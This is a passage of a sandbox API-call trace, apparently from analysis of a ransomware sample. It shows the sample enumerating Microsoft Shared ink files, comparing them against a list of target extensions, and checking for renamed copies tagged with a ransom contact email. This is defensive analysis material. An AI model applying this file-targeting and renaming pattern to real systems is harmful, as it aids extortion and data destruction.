(lpString1=".jpg", lpString2=".mui") returned -1 [0198.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0198.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0198.861] lstrlenW (lpString=".doc") returned 4 [0198.861] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0198.861] lstrlenW (lpString=".docx") returned 5 [0198.861] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0198.862] lstrlenW (lpString=".pdf") returned 4 [0198.862] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0198.862] lstrlenW (lpString=".xls") returned 4 [0198.862] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0198.862] lstrlenW (lpString=".xlsx") returned 5 [0198.862] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0198.862] lstrlenW (lpString=".ppt") returned 4 [0198.862] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0198.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0198.862] lstrlenW (lpString=".zip") returned 4 [0198.862] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0198.862] lstrlenW (lpString=".rar") returned 4 [0198.862] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0198.863] lstrlenW (lpString=".bz2") returned 4 [0198.863] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0198.863] lstrlenW (lpString=".7z") returned 3 [0198.863] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0198.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0198.863] lstrlenW (lpString=".dbf") returned 4 [0198.863] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0198.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0198.863] lstrlenW (lpString=".1cd") returned 4 [0198.863] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0198.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0198.863] lstrlenW (lpString=".jpg") returned 4 [0198.863] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0198.864] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0198.864] lstrlenW (lpString="rtscom.dll.mui") returned 14 [0198.864] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0198.865] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=2560) returned 1 [0198.865] CloseHandle (hObject=0x234) returned 1 [0198.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20 [0198.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0198.866] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0198.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0198.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0198.866] lstrlenW (lpString=".doc") returned 4 [0198.866] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0198.866] lstrlenW (lpString=".docx") returned 5 [0198.866] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0198.866] lstrlenW (lpString=".pdf") returned 4 [0198.866] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0198.866] lstrlenW (lpString=".xls") returned 4 [0198.867] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0198.867] lstrlenW (lpString=".xlsx") returned 5 [0198.867] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0198.867] lstrlenW (lpString=".ppt") returned 4 [0198.867] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0198.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0198.867] lstrlenW (lpString=".zip") returned 4 [0198.867] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0198.867] lstrlenW (lpString=".rar") returned 4 [0198.867] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0198.867] lstrlenW (lpString=".bz2") returned 4 [0198.868] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0198.868] lstrlenW (lpString=".7z") returned 3 [0198.868] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0198.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0198.868] lstrlenW (lpString=".dbf") returned 4 [0198.868] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0198.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0198.868] lstrlenW (lpString=".1cd") returned 4 [0198.868] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0198.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0198.868] lstrlenW (lpString=".jpg") returned 4 [0198.869] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0198.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0198.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0198.869] lstrlenW (lpString=".doc") returned 4 [0198.869] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0198.869] lstrlenW (lpString=".docx") returned 5 [0198.869] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0198.869] lstrlenW (lpString=".pdf") returned 4 [0198.869] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0198.869] lstrlenW (lpString=".xls") returned 4 [0198.869] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0198.870] lstrlenW (lpString=".xlsx") returned 5 [0198.870] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0198.870] lstrlenW (lpString=".ppt") returned 4 [0198.870] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0198.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0198.870] lstrlenW (lpString=".zip") returned 4 [0198.870] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0198.870] lstrlenW (lpString=".rar") returned 4 [0198.871] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0198.871] lstrlenW (lpString=".bz2") returned 4 [0198.871] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0198.871] lstrlenW (lpString=".7z") returned 3 [0198.871] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0198.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0199.427] lstrlenW (lpString=".dbf") returned 4 [0199.427] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0199.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0199.427] lstrlenW (lpString=".1cd") returned 4 [0199.427] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0199.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0199.427] lstrlenW (lpString=".jpg") returned 4 [0199.427] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0199.428] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0199.428] lstrlenW (lpString="ShapeCollector.exe.mui") returned 22 [0199.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0201.718] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=43520) returned 1 [0201.719] CloseHandle (hObject=0x29c) returned 1 [0201.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui")) returned 0x20 [0201.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0201.719] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0201.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0201.721] lstrlenW (lpString=".doc") returned 4 [0201.721] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0201.721] lstrlenW (lpString=".docx") returned 5 [0201.721] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0201.722] lstrlenW (lpString=".pdf") returned 4 [0201.722] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0201.722] lstrlenW (lpString=".xls") returned 4 [0201.722] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0201.722] lstrlenW (lpString=".xlsx") returned 5 [0201.722] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0201.722] lstrlenW (lpString=".ppt") returned 4 [0201.722] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0201.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0201.722] lstrlenW (lpString=".zip") returned 4 [0201.722] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0201.722] lstrlenW (lpString=".rar") returned 4 [0201.722] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0201.722] lstrlenW (lpString=".bz2") returned 4 [0201.723] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0201.723] lstrlenW (lpString=".7z") returned 3 [0201.723] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0201.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0201.723] lstrlenW (lpString=".dbf") returned 4 [0201.723] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0201.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0201.723] lstrlenW (lpString=".1cd") returned 4 [0201.723] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0201.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0201.723] lstrlenW (lpString=".jpg") returned 4 [0201.723] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0201.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0201.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0201.724] lstrlenW (lpString=".doc") returned 4 [0201.724] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0201.724] lstrlenW (lpString=".docx") returned 5 [0201.724] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0201.724] lstrlenW (lpString=".pdf") returned 4 [0201.724] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0201.724] lstrlenW (lpString=".xls") returned 4 [0201.724] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0201.724] lstrlenW (lpString=".xlsx") returned 5 [0201.725] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0201.725] lstrlenW (lpString=".ppt") returned 4 [0201.725] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0201.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0201.725] lstrlenW (lpString=".zip") returned 4 [0201.725] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0201.725] lstrlenW (lpString=".rar") returned 4 [0201.725] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0201.725] lstrlenW (lpString=".bz2") returned 4 [0201.725] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0201.725] lstrlenW (lpString=".7z") returned 3 [0201.725] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0201.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0201.725] lstrlenW (lpString=".dbf") returned 4 [0201.726] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0201.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0201.726] lstrlenW (lpString=".1cd") returned 4 [0201.726] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0201.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0201.726] lstrlenW (lpString=".jpg") returned 4 [0201.726] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0201.727] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0201.728] lstrlenW (lpString="IpsPlugin.dll") returned 13 [0201.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0205.475] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=94720) returned 1 [0205.476] CloseHandle (hObject=0x2d8) returned 1 [0205.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll")) returned 0x20 [0205.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0205.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0205.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0205.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0205.477] lstrlenW (lpString=".doc") returned 4 [0205.477] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0205.477] lstrlenW (lpString=".docx") returned 5 [0205.477] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0205.477] lstrlenW (lpString=".pdf") returned 4 [0205.478] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0205.478] lstrlenW (lpString=".xls") returned 4 [0205.478] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0205.478] lstrlenW (lpString=".xlsx") returned 5 [0205.478] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0205.478] lstrlenW (lpString=".ppt") returned 4 [0205.478] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0205.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0205.478] lstrlenW (lpString=".zip") returned 4 [0205.478] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0205.478] lstrlenW (lpString=".rar") returned 4 [0205.478] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0205.478] lstrlenW (lpString=".bz2") returned 4 [0205.478] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0205.479] lstrlenW (lpString=".7z") returned 3 [0205.479] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0205.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0205.479] lstrlenW (lpString=".dbf") returned 4 [0205.479] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0205.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0205.479] lstrlenW (lpString=".1cd") returned 4 [0205.479] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0205.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0205.479] lstrlenW (lpString=".jpg") returned 4 [0205.479] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0205.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0205.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0205.480] lstrlenW (lpString=".doc") returned 4 [0205.480] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0205.480] lstrlenW (lpString=".docx") returned 5 [0205.480] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0205.480] lstrlenW (lpString=".pdf") returned 4 [0205.480] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0205.480] lstrlenW (lpString=".xls") returned 4 [0205.480] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0205.480] lstrlenW (lpString=".xlsx") returned 5 [0205.480] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0205.480] lstrlenW (lpString=".ppt") returned 4 [0205.480] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0205.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0205.481] lstrlenW (lpString=".zip") returned 4 [0205.481] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0205.481] lstrlenW (lpString=".rar") returned 4 [0205.481] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0205.481] lstrlenW (lpString=".bz2") returned 4 [0205.481] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0205.481] lstrlenW (lpString=".7z") returned 3 [0205.481] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0205.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0205.481] lstrlenW (lpString=".dbf") returned 4 [0205.481] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0205.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0205.482] lstrlenW (lpString=".1cd") returned 4 [0205.482] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0205.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll") returned 64 [0205.482] lstrlenW (lpString=".jpg") returned 4 [0205.482] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0205.482] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0205.483] lstrlenW (lpString="Microsoft.Ink.dll") returned 17 [0205.483] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0208.717] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=507904) returned 1 [0208.717] CloseHandle (hObject=0x1f4) returned 1 [0208.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll")) returned 0x20 [0208.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0210.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0210.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned 68 [0210.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned 68 [0210.812] lstrlenW (lpString=".doc") returned 4 [0210.812] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0210.812] lstrlenW (lpString=".docx") returned 5 [0210.812] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0210.812] lstrlenW (lpString=".pdf") returned 4 [0210.812] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0210.812] lstrlenW (lpString=".xls") returned 4 [0210.812] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0210.812] lstrlenW (lpString=".xlsx") returned 5 [0210.812] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0210.813] lstrlenW (lpString=".ppt") returned 4 [0210.813] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0210.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned 68 [0210.813] lstrlenW (lpString=".zip") returned 4 [0210.813] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0210.813] lstrlenW (lpString=".rar") returned 4 [0210.813] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0210.813] lstrlenW (lpString=".bz2") returned 4 [0210.813] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0210.813] lstrlenW (lpString=".7z") returned 3 [0210.813] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0210.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned 68 [0210.814] lstrlenW (lpString=".dbf") returned 4 [0210.814] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0210.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned 68 [0210.814] lstrlenW (lpString=".1cd") returned 4 [0210.814] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0210.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned 68 [0210.814] lstrlenW (lpString=".jpg") returned 4 [0210.814] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0210.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned 68 [0210.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned 68 [0210.815] lstrlenW (lpString=".doc") returned 4 [0210.815] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0210.815] lstrlenW (lpString=".docx") returned 5 [0210.815] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0210.815] lstrlenW (lpString=".pdf") returned 4 [0210.815] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0210.815] lstrlenW (lpString=".xls") returned 4 [0210.815] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0210.815] lstrlenW (lpString=".xlsx") returned 5 [0210.815] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0210.815] lstrlenW (lpString=".ppt") returned 4 [0210.815] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0210.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned 68 [0210.816] lstrlenW (lpString=".zip") returned 4 [0210.816] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0210.816] lstrlenW (lpString=".rar") returned 4 [0210.816] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0210.816] lstrlenW (lpString=".bz2") returned 4 [0210.816] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0210.816] lstrlenW (lpString=".7z") returned 3 [0210.816] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0210.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned 68 [0210.816] lstrlenW (lpString=".dbf") returned 4 [0210.816] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0210.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned 68 [0210.817] lstrlenW (lpString=".1cd") returned 4 [0210.817] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0210.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned 68 [0210.817] lstrlenW (lpString=".jpg") returned 4 [0210.817] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0210.817] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0210.818] lstrlenW (lpString="TabIpsps.dll") returned 12 [0210.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 